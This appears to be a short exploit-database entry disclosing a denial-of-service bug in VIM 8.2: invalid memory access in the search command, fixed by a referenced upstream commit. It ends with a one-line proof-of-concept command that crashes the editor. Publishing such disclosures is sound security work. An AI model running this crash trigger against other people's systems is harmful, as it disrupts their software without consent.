VIM 8.2 - Denial of Service (PoC)

# Exploit Title: VIM 8.2 - Denial of Service (PoC)
# Date: 2019-12-17
# Vulnerability: DoS
# Vulnerability Discovery: Dhiraj Mishra
# Vulnerable Version: VIM - Vi IMproved 8.2 (Included patches: 1-131)
# Vendor Homepage: https://www.vim.org/
# References:
# https://github.com/vim/vim/commit/98a336dd497d3422e7efeef9f24cc9e25aeb8a49
#  Invalid memory access with search command

PoC: vim --clean -e -s -c 'exe "norm /\x80PS"'